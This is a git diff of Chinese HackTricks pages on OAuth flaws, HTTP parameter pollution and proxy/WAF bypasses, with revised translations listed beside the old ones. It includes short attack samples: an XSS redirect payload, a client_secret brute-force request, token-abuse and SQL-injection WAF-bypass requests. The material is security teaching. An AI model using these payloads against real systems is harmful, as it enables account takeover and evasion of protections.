* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 的 github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 基本信息 <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth提供各种版本,可在[OAuth 2.0文档](https://oauth.net/2/)中找到基础见解。本讨论主要集中在广泛使用的[OAuth 2.0授权码授权类型](https://oauth.net/2/grant-types/authorization-code/)上,提供了一种**授权框架,使应用程序能够访问或执行另一个应用程序中用户帐户上的操作**(授权服务器)。
|
||||
OAuth 提供各种版本,可在[OAuth 2.0 文档](https://oauth.net/2/)中找到基础见解。本讨论主要集中在广泛使用的[OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/)上,提供了一种**授权框架,使应用程序能够访问或执行另一个应用程序中用户帐户上的操作**(授权服务器)。
|
||||
|
||||
考虑一个假想的网站 _**https://example.com**_,旨在**展示您的所有社交媒体帖子**,包括私人帖子。为实现此目的,采用了OAuth 2.0。_https://example.com_将请求您的许可以**访问您的社交媒体帖子**。因此,在 _https://socialmedia.com_ 上将出现一个同意屏幕,概述**正在请求的权限和发出请求的开发人员**。在您授权后,_https://example.com_将获得**代表您访问您的帖子**的能力。
|
||||
考虑一个假设的网站 _**https://example.com**_,旨在**展示您的所有社交媒体帖子**,包括私人帖子。为实现此目的,采用了 OAuth 2.0。_https://example.com_ 将请求您的许可以**访问您的社交媒体帖子**。因此,在 _https://socialmedia.com_ 上将出现一个同意屏幕,概述了**正在请求的权限和发出请求的开发人员**。在您授权后,_https://example.com_ 将能够**代表您访问您的帖子**。
|
||||
|
||||
在OAuth 2.0框架中理解以下组件至关重要:
|
||||
在 OAuth 2.0 框架中理解以下组件至关重要:
|
||||
|
||||
- **资源所有者**:您作为**用户/实体**,授权访问您的资源,如您的社交媒体帐户帖子。
|
||||
- **资源服务器**:在应用程序代表`资源所有者`获得`访问令牌`后,**管理经过身份验证的请求的服务器**,例如**https://socialmedia.com**。
|
||||
|
@ -30,19 +34,19 @@ OAuth提供各种版本,可在[OAuth 2.0文档](https://oauth.net/2/)中找到
|
|||
- **client\_secret**:应用程序和授权服务器独有的机密密钥,用于生成`访问令牌`。
|
||||
- **response\_type**:指定**请求的令牌类型**的值,如`code`。
|
||||
- **scope**:`客户端应用程序`从`资源所有者`请求的**访问级别**。
|
||||
- **redirect\_uri**:**授权后用户被重定向到的URL**。通常必须与预注册的重定向URL一致。
|
||||
- **state**:一个参数,用于**在用户重定向到授权服务器和从授权服务器返回时保持数据**。其唯一性对于作为**CSRF保护机制**至关重要。
|
||||
- **redirect\_uri**:**授权后用户被重定向到的 URL**。通常必须与预注册的重定向 URL 保持一致。
|
||||
- **state**:一个参数,用于**在用户重定向到授权服务器和从授权服务器返回时保持数据**。其唯一性对于作为**CSRF 保护机制**至关重要。
|
||||
- **grant\_type**:指示**授权类型和要返回的令牌类型**的参数。
|
||||
- **code**:来自`授权服务器`的授权码,由`客户端应用程序`与`client_id`和`client_secret`一起使用以获取`访问令牌`。
|
||||
- **access\_token**:`客户端应用程序`用于代表`资源所有者`进行API请求的**令牌**。
|
||||
- **code**:从`授权服务器`获取的授权码,由客户端应用程序与`client_id`和`client_secret`一起使用以获取`访问令牌`。
|
||||
- **access\_token**:客户端应用程序用于代表`资源所有者`进行 API 请求的**令牌**。
|
||||
- **refresh\_token**:使应用程序能够**获取新的`访问令牌`而无需重新提示用户**。
|
||||
|
||||
### 流程
|
||||
|
||||
**实际的OAuth流程**如下进行:
|
||||
**实际的 OAuth 流程**如下进行:
|
||||
|
||||
1. 您访问[https://example.com](https://example.com)并选择“与社交媒体集成”按钮。
|
||||
2. 网站随后向[https://socialmedia.com](https://socialmedia.com)发送请求,请求您授权让https://example.com的应用程序访问您的帖子。请求结构如下:
|
||||
1. 您访问 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。
|
||||
2. 网站随后向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您授权让 https://example.com 的应用程序访问您的帖子。请求结构如下:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
|
@ -53,33 +57,33 @@ https://socialmedia.com/auth
|
|||
```
|
||||
3. 然后会显示一个同意页面。
|
||||
|
||||
4. 在您批准后,社交媒体会向 `redirect_uri` 发送带有 `code` 和 `state` 参数的响应:
|
||||
4. 在您同意后,社交媒体会向 `redirect_uri` 发送带有 `code` 和 `state` 参数的响应:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com 利用这个 `code`,连同它的 `client_id` 和 `client_secret`,向服务器发出请求,以获取代表您的 `access_token`,从而使您能够访问您同意的权限:
|
||||
5. https://example.com 利用这个 `code`,连同其 `client_id` 和 `client_secret`,向服务器发出请求,以获取代表您的 `access_token`,从而使您能够访问您同意的权限:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. 最后,过程在 https://example.com 使用您的 `access_token` 发起 API 调用到社交媒体以获取访问权限。
|
||||
6. 最后,过程以 https://example.com 使用您的 `access_token` 发起 API 调用到社交媒体以访问
|
||||
|
||||
## 漏洞 <a href="#323a" id="323a"></a>
|
||||
|
||||
### 开放式 redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
### 开放的 redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri` 在 OAuth 和 OpenID 实现中至关重要,因为它指示授权后发送敏感数据(如授权码)的位置。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现接管账户。
|
||||
|
||||
利用技术因授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放式重定向、路径遍历、利用弱正则表达式和 HTML 注入以窃取令牌。
|
||||
|
||||
除了 `redirect_uri` 外,其他 OAuth 和 OpenID 参数,如 `client_uri`、`policy_uri`、`tos_uri` 和 `initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,它们的支持在不同服务器之间有所不同。
|
||||
除了 `redirect_uri`,其他 OAuth 和 OpenID 参数如 `client_uri`、`policy_uri`、`tos_uri` 和 `initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,它们的支持在服务器之间有所不同。
|
||||
|
||||
对于针对 OpenID 服务器的攻击者,发现端点(`**.well-known/openid-configuration**`)通常列出了有价值的配置细节,如 `registration_endpoint`、`request_uri_parameter_supported` 和 "`require_request_uri_registration`。这些细节有助于识别注册端点和服务器的其他配置细节。
|
||||
对于针对 OpenID 服务器的攻击者,发现端点(`**.well-known/openid-configuration**`)通常列出有价值的配置细节,如 `registration_endpoint`、`request_uri_parameter_supported` 和 "`require_request_uri_registration`。这些细节有助于识别注册端点和服务器的其他配置细节。
|
||||
|
||||
### 在重定向实现中的 XSS <a href="#bda5" id="bda5"></a>
|
||||
|
||||
正如在这份漏洞赏金报告中所提到的 [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html),可能会出现重定向 **URL 在用户认证后服务器响应中被反射**,从而**容易受到 XSS 攻击**。测试可能的有效载荷:
|
||||
正如在这份漏洞赏金报告中所述 [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html),可能会出现重定向 **URL 在用户认证后服务器响应中被反射**,存在 **XSS 漏洞**。测试的可能有效载荷:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
|
@ -87,27 +91,27 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
|||
|
||||
在OAuth实现中,**`state`参数**的错误使用或省略会显著增加**跨站请求伪造(CSRF)**攻击的风险。当`state`参数未被使用、被用作静态值或未经适当验证时,就会出现这种漏洞,使攻击者能够绕过CSRF保护。
|
||||
|
||||
攻击者可以通过拦截授权过程将其账户与受害者的账户关联起来,从而导致潜在的**账户接管**。这在OAuth用于**身份验证目的**的应用程序中尤为关键。
|
||||
攻击者可以通过拦截授权过程来利用这一点,将他们的账户与受害者的账户关联起来,从而导致潜在的**账户接管**。这在OAuth用于**身份验证目的**的应用程序中尤为关键。
|
||||
|
||||
这种漏洞的实际案例已在各种**CTF挑战**和**黑客平台**中有所记录,突显了其实际影响。该问题还涉及与**Slack**、**Stripe**和**PayPal**等第三方服务的集成,攻击者可以将通知或付款重定向到其账户。
|
||||
这种漏洞的实际案例已在各种**CTF挑战**和**黑客平台**中有所记录,突显了其实际影响。这个问题还延伸到与第三方服务(如**Slack**、**Stripe**和**PayPal**)的集成,攻击者可以将通知或付款重定向到他们的账户。
|
||||
|
||||
对**`state`参数**的正确处理和验证对于防范CSRF攻击并保护OAuth流程至关重要。
|
||||
妥善处理和验证**`state`参数**对于防范CSRF攻击并保护OAuth流程至关重要。
|
||||
|
||||
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **在账户创建时未进行电子邮件验证**:攻击者可以预先使用受害者的电子邮件创建一个账户。如果受害者后来使用第三方服务进行登录,应用程序可能会无意中将这个第三方账户与攻击者预先创建的账户关联起来,导致未经授权的访问。
|
||||
|
||||
2. **利用OAuth宽松的电子邮件验证**:攻击者可能会利用不验证电子邮件的OAuth服务,通过注册其服务然后更改账户电子邮件为受害者的电子邮件来实施攻击。这种方法类似于第一个场景,但通过不同的攻击向量同样存在未经授权的账户访问风险。
|
||||
2. **利用宽松的OAuth电子邮件验证**:攻击者可能会利用不验证电子邮件的OAuth服务,通过注册其服务然后将账户电子邮件更改为受害者的电子邮件。这种方法类似于第一种情况,但通过不同的攻击向量,同样存在未经授权的账户访问风险。
|
||||
|
||||
### 揭示秘密 <a href="#e177" id="e177"></a>
|
||||
|
||||
识别和保护秘密的OAuth参数至关重要。虽然**`client_id`**可以安全地公开,但揭示**`client_secret`**会带来重大风险。如果`client_secret`泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
|
||||
|
||||
当应用程序错误地在客户端而不是服务器端处理授权`code`以获取`access_token`时,就会出现常见的漏洞。这个错误导致`client_secret`的暴露,使攻击者能够在应用程序的名义下生成`access_tokens`。此外,通过社会工程,攻击者可以通过向OAuth授权添加额外的范围来提升权限,进一步利用应用程序的受信任状态。
|
||||
当应用程序错误地在客户端而不是服务器端处理授权`code`以获取`access_token`时,就会出现常见的漏洞。这个错误导致`client_secret`的暴露,使攻击者能够在应用程序的名义下生成`access_tokens`。此外,通过社会工程学,攻击者可以通过向OAuth授权添加额外的范围来提升权限,进一步利用应用程序的受信任状态。
|
||||
|
||||
### 客户端密钥暴力破解
|
||||
|
||||
您可以尝试使用身份提供者对服务提供商的**客户端密钥进行暴力破解**,以尝试窃取账户。\
|
||||
您可以尝试使用身份提供者**暴力破解服务提供商的client\_secret**,以尝试窃取账户。\
|
||||
BF请求可能类似于:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
|
@ -124,11 +128,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
|||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
前往**浏览器历史记录并检查访问令牌是否保存在其中**。
|
||||
前往**浏览器历史记录**,检查访问令牌是否保存在其中。
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
**授权码应该只存在一段时间,以限制攻击者可以窃取和使用它的时间窗口**。
|
||||
**授权码应该只存在一段时间,以限制攻击者可以窃取并使用它的时间窗口**。
|
||||
|
||||
### Authorization/Refresh Token not bound to client
|
||||
|
||||
|
@ -161,33 +165,33 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||
|
||||
正如[**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts),期望接收**令牌**(而不是代码)的OAuth流程可能存在漏洞,如果它们不检查令牌是否属于该应用程序。
|
||||
|
||||
这是因为**攻击者**可以创建一个**支持OAuth并使用Facebook登录**(例如)的应用程序。然后,一旦受害者在**攻击者的应用程序**中使用Facebook登录,攻击者就可以获取**用户授予其应用程序的OAuth令牌,并使用该令牌登录受害者OAuth应用程序中的受害者用户**。
|
||||
这是因为攻击者可以创建一个**支持OAuth并使用Facebook登录**(例如)的应用程序。然后,一旦受害者在**攻击者的应用程序**中使用Facebook登录,攻击者可以获取**用户授予其应用程序的OAuth令牌,并使用该令牌登录受害者OAuth应用程序中的受害者用户**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
因此,如果攻击者成功让用户访问自己的OAuth应用程序,他将能够接管期望令牌的应用程序中受害者的帐户,并且这些应用程序没有检查令牌是否授予其应用程序ID。
|
||||
因此,如果攻击者成功让用户访问自己的OAuth应用程序,他将能够接管期望令牌的应用程序中的受害者帐户,并且不检查令牌是否授予其应用程序ID。
|
||||
{% endhint %}
|
||||
|
||||
### 两个链接和cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
根据[**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个带有指向攻击者主机的**returnUrl**的页面。这些信息将被**存储在一个cookie(RU)**中,在**后续步骤**中,**提示**将**询问用户**是否愿意授予该攻击者主机访问权限。
|
||||
根据[**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个带有指向攻击者主机的**returnUrl**的页面。这些信息将被**存储在一个cookie(RU)**中,在**后续步骤**中,**提示**将**询问用户**是否要授予对该攻击者主机的访问权限。
|
||||
|
||||
为了绕过此提示,可以打开一个选项卡来启动**Oauth流程**,该流程将使用**returnUrl**设置此RU cookie,然后在显示提示之前关闭选项卡,并打开一个不包含该值的新选项卡。然后,**提示不会提及攻击者的主机**,但cookie将被设置为该主机,因此**令牌将被发送到攻击者的主机**进行重定向。
|
||||
为了绕过此提示,可以打开一个选项卡来启动**Oauth流程**,该流程将使用**returnUrl**设置此RU cookie,然后在显示提示之前关闭该选项卡,并打开一个不包含该值的新选项卡。然后,**提示不会提及攻击者主机**,但cookie将被设置为该主机,因此**令牌将被发送到攻击者主机**进行重定向。
|
||||
|
||||
### SSRF参数 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
**[查看此研究](https://portswigger.net/research/hidden-oauth-attack-vectors) 以获取有关此技术的更多详细信息。**
|
||||
**[查看此研究](https://portswigger.net/research/hidden-oauth-attack-vectors)以获取有关此技术的更多详细信息。**
|
||||
|
||||
OAuth中的动态客户端注册作为安全漏洞的一个不太明显但关键的向量,特别是用于**服务器端请求伪造(SSRF)**攻击。此端点允许OAuth服务器接收有关客户端应用程序的详细信息,包括可能被利用的敏感URL。
|
||||
|
||||
**关键要点:**
|
||||
**关键点:**
|
||||
|
||||
- **动态客户端注册**通常映射到`/register`,通过POST请求接受诸如`client_name`、`client_secret`、`redirect_uris`和用于logo或JSON Web Key Sets(JWKs)的URL等详细信息。
|
||||
- 此功能遵循**RFC7591**和**OpenID Connect Registration 1.0**中规定的规范,其中包括可能容易受到SSRF攻击的参数。
|
||||
- 注册过程可能会以几种方式无意中使服务器暴露于SSRF的风险中:
|
||||
- **`logo_uri`**:客户端应用程序的logo的URL,服务器可能会获取该URL,触发SSRF或如果URL处理不当可能导致XSS。
|
||||
- **`jwks_uri`**:客户端的JWK文档的URL,如果恶意构造,可能导致服务器向受攻击控制的服务器发出出站请求。
|
||||
- **`sector_identifier_uri`**:引用`redirect_uris`的JSON数组,服务器可能会获取,从而产生SSRF机会。
|
||||
- **`request_uris`**:列出客户端允许的请求URI,如果服务器在授权过程开始时获取这些URI,可能会被利用。
|
||||
- 注册过程可能会以几种方式无意中使服务器暴露于SSRF:
|
||||
- **`logo_uri`**:客户端应用程序logo的URL,服务器可能会获取该URL,触发SSRF或如果URL处理不当可能导致XSS。
|
||||
- **`jwks_uri`**:客户端的JWK文档的URL,如果恶意构造,可能导致服务器向受攻击控制的服务器发出出站请求。
|
||||
- **`sector_identifier_uri`**:引用`redirect_uris`的JSON数组,服务器可能会获取,从而产生SSRF机会。
|
||||
- **`request_uris`**:列出客户端允许的请求URI,如果服务器在授权过程开始时获取这些URI,则可能被利用。
|
||||
|
||||
**利用策略:**
|
||||
|
||||
|
|
|
@ -2,25 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# HTTP参数污染(HPP)概述
|
||||
|
||||
HTTP参数污染(HPP)是一种攻击技术,攻击者通过操纵HTTP参数以意外方式改变Web应用程序的行为。这种操纵是通过添加、修改或复制HTTP参数来实现的。这些操纵的效果对用户不直接可见,但可以显著改变服务器端应用程序的功能,在客户端方面产生可观察的影响。
|
||||
HTTP参数污染(HPP)是一种攻击技术,攻击者通过操纵HTTP参数以意外方式改变Web应用程序的行为。这种操纵是通过添加、修改或复制HTTP参数来实现的。这些操纵的效果对用户来说并不直接可见,但可以显着改变服务器端应用程序的功能,在客户端端产生可观察的影响。
|
||||
|
||||
## HTTP参数污染(HPP)示例
|
||||
|
||||
银行应用程序交易URL:
|
||||
银行应用程序的交易URL:
|
||||
|
||||
- **原始URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||
|
||||
|
@ -33,7 +38,7 @@ HTTP参数污染(HPP)是一种攻击技术,攻击者通过操纵HTTP参数
|
|||
### **特定技术的参数解析**
|
||||
|
||||
- 参数的解析和优先级取决于底层Web技术,影响HPP的利用方式。
|
||||
- 工具如[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)有助于识别这些技术及其解析行为。
|
||||
- 像[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)这样的工具有助于识别这些技术及其解析行为。
|
||||
|
||||
## PHP和HPP利用
|
||||
|
||||
|
@ -41,7 +46,7 @@ HTTP参数污染(HPP)是一种攻击技术,攻击者通过操纵HTTP参数
|
|||
|
||||
- **背景:** 一个需要一次性密码(OTP)的登录机制被利用。
|
||||
- **方法:** 通过使用Burp Suite等工具拦截OTP请求,攻击者复制了HTTP请求中的`email`参数。
|
||||
- **结果:** OTP原本应发送到初始电子邮件,却被发送到操纵请求中指定的第二个电子邮件地址。这个漏洞允许绕过预期的安全措施,未经授权地访问。
|
||||
- **结果:** OTP原本应发送到初始电子邮件,但却发送到了操纵请求中指定的第二个电子邮件地址。这个漏洞允许绕过预期的安全措施,未经授权地访问。
|
||||
|
||||
这种情况突显了应用程序后端的一个关键疏忽,该后端处理第一个`email`参数以生成OTP,但使用最后一个参数进行传递。
|
||||
|
||||
|
@ -49,32 +54,37 @@ HTTP参数污染(HPP)是一种攻击技术,攻击者通过操纵HTTP参数
|
|||
|
||||
- **场景:** 一个应用程序允许用户通过配置文件设置页面更新其API密钥。
|
||||
- **攻击向量:** 攻击者发现通过向POST请求附加额外的`api_key`参数,可以操纵API密钥更新功能的结果。
|
||||
- **技术:** 利用Burp Suite等工具,攻击者构造一个请求,其中包含两个`api_key`参数:一个合法的,一个恶意的。服务器只处理最后一个出现的参数,将API密钥更新为攻击者提供的值。
|
||||
- **结果:** 攻击者控制受害者的API功能,可能未经授权地访问或修改私人数据。
|
||||
- **技术:** 利用Burp Suite等工具,攻击者构造了一个请求,其中包括两个`api_key`参数:一个合法的,一个恶意的。服务器只处理最后一个出现的参数,将API密钥更新为攻击者提供的值。
|
||||
- **结果:** 攻击者控制了受害者的API功能,可能未经授权地访问或修改私人数据。
|
||||
|
||||
这个例子进一步强调了安全参数处理的必要性,特别是在像API密钥管理这样关键的功能中。
|
||||
|
||||
## 参数解析:Flask vs. PHP
|
||||
|
||||
Web技术处理重复HTTP参数的方式不同,影响它们对HPP攻击的易受性:
|
||||
Web技术处理重复的HTTP参数的方式不同,影响它们对HPP攻击的易受性:
|
||||
|
||||
- **Flask:** 采用遇到的第一个参数值,例如在查询字符串`a=1&a=2`中优先考虑初始实例`a=1`而不是后续的重复。
|
||||
- **PHP(在Apache HTTP服务器上):** 相反,优先考虑最后一个参数值,在给定示例中选择`a=2`。这种行为可能会无意中促成HPP攻击,通过优先考虑攻击者操纵的参数而不是原始参数。
|
||||
- **PHP(在Apache HTTP服务器上):** 相反,优先考虑最后一个参数值,在给定示例中选择`a=2`。这种行为可能无意中促进了HPP攻击,通过优先考虑攻击者操纵的参数而不是原始参数。
|
||||
|
||||
## 参考资料
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,18 @@
|
|||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 使用路径名操纵绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
技术[来自这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
|
||||
来自[此研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)的技术。
|
||||
|
||||
Nginx 规则示例:
|
||||
```plaintext
|
||||
|
@ -73,7 +77,7 @@ include snippets/fastcgi-php.conf;
|
|||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx 被配置为阻止访问 `/admin.php`,但可以通过访问 `/admin.php/index.php` 来绕过此设置。
|
||||
Nginx 被配置为阻止访问 `/admin.php`,但可以通过访问 `/admin.php/index.php` 来绕过此限制。
|
||||
|
||||
### 如何防止
|
||||
```plaintext
|
||||
|
@ -86,19 +90,19 @@ deny all;
|
|||
### 路径混淆
|
||||
|
||||
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)解释了 ModSecurity v3(直到3.0.12版本)**不正确地实现了`REQUEST_FILENAME`**变量,该变量应该包含访问的路径(直到参数的开始)。这是因为它执行了URL解码以获取路径。\
|
||||
因此,在 mod 安全中,像`http://example.com/foo%3f';alert(1);foo=`这样的请求将假定路径只是`/foo`,因为`%3f`被转换为`?`结束了URL路径,但实际上服务器接收到的路径将是`/foo%3f';alert(1);foo=`。
|
||||
因此,在 mod 安全中,像`http://example.com/foo%3f';alert(1);foo=`这样的请求将假定路径只是`/foo`,因为`%3f`被转换为`?`结束了URL路径,但实际上服务器收到的路径将是`/foo%3f';alert(1);foo=`。
|
||||
|
||||
变量`REQUEST_BASENAME`和`PATH_INFO`也受到了这个错误的影响。
|
||||
|
||||
在 Mod 安全的第2版中也发生了类似的情况,允许绕过防止用户访问与备份文件相关的特定扩展名文件(如`.bak`)的保护,只需发送点 URL 编码为`%2e`,例如:`https://example.com/backup%2ebak`。
|
||||
在 Mod 安全的第2版中也发生了类似的情况,允许绕过防止用户访问与备份文件相关的特定扩展名文件(如`.bak`)的保护,只需发送点URL编码为`%2e`,例如:`https://example.com/backup%2ebak`。
|
||||
|
||||
## 绕过 AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 格式错误的标头
|
||||
|
||||
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)提到,可以通过发送一个 AWS 无法正确解析但后端服务器可以解析的“格式错误”标头来绕过应用于 HTTP 标头的 AWS WAF 规则。
|
||||
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)提到,可以通过发送一个AWS无法正确解析但后端服务器可以解析的“格式错误”标头来绕过应用于HTTP标头的AWS WAF规则。
|
||||
|
||||
例如,发送以下带有 SQL 注入的请求标头 X-Query:
|
||||
例如,发送以下带有SQL注入的请求标头X-Query:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
|
@ -107,23 +111,28 @@ X-Query: Value\r\n
|
|||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
可以绕过AWS WAF,因为它无法理解下一行是标头值的一部分,而NODEJS服务器可以(已修复)。
|
||||
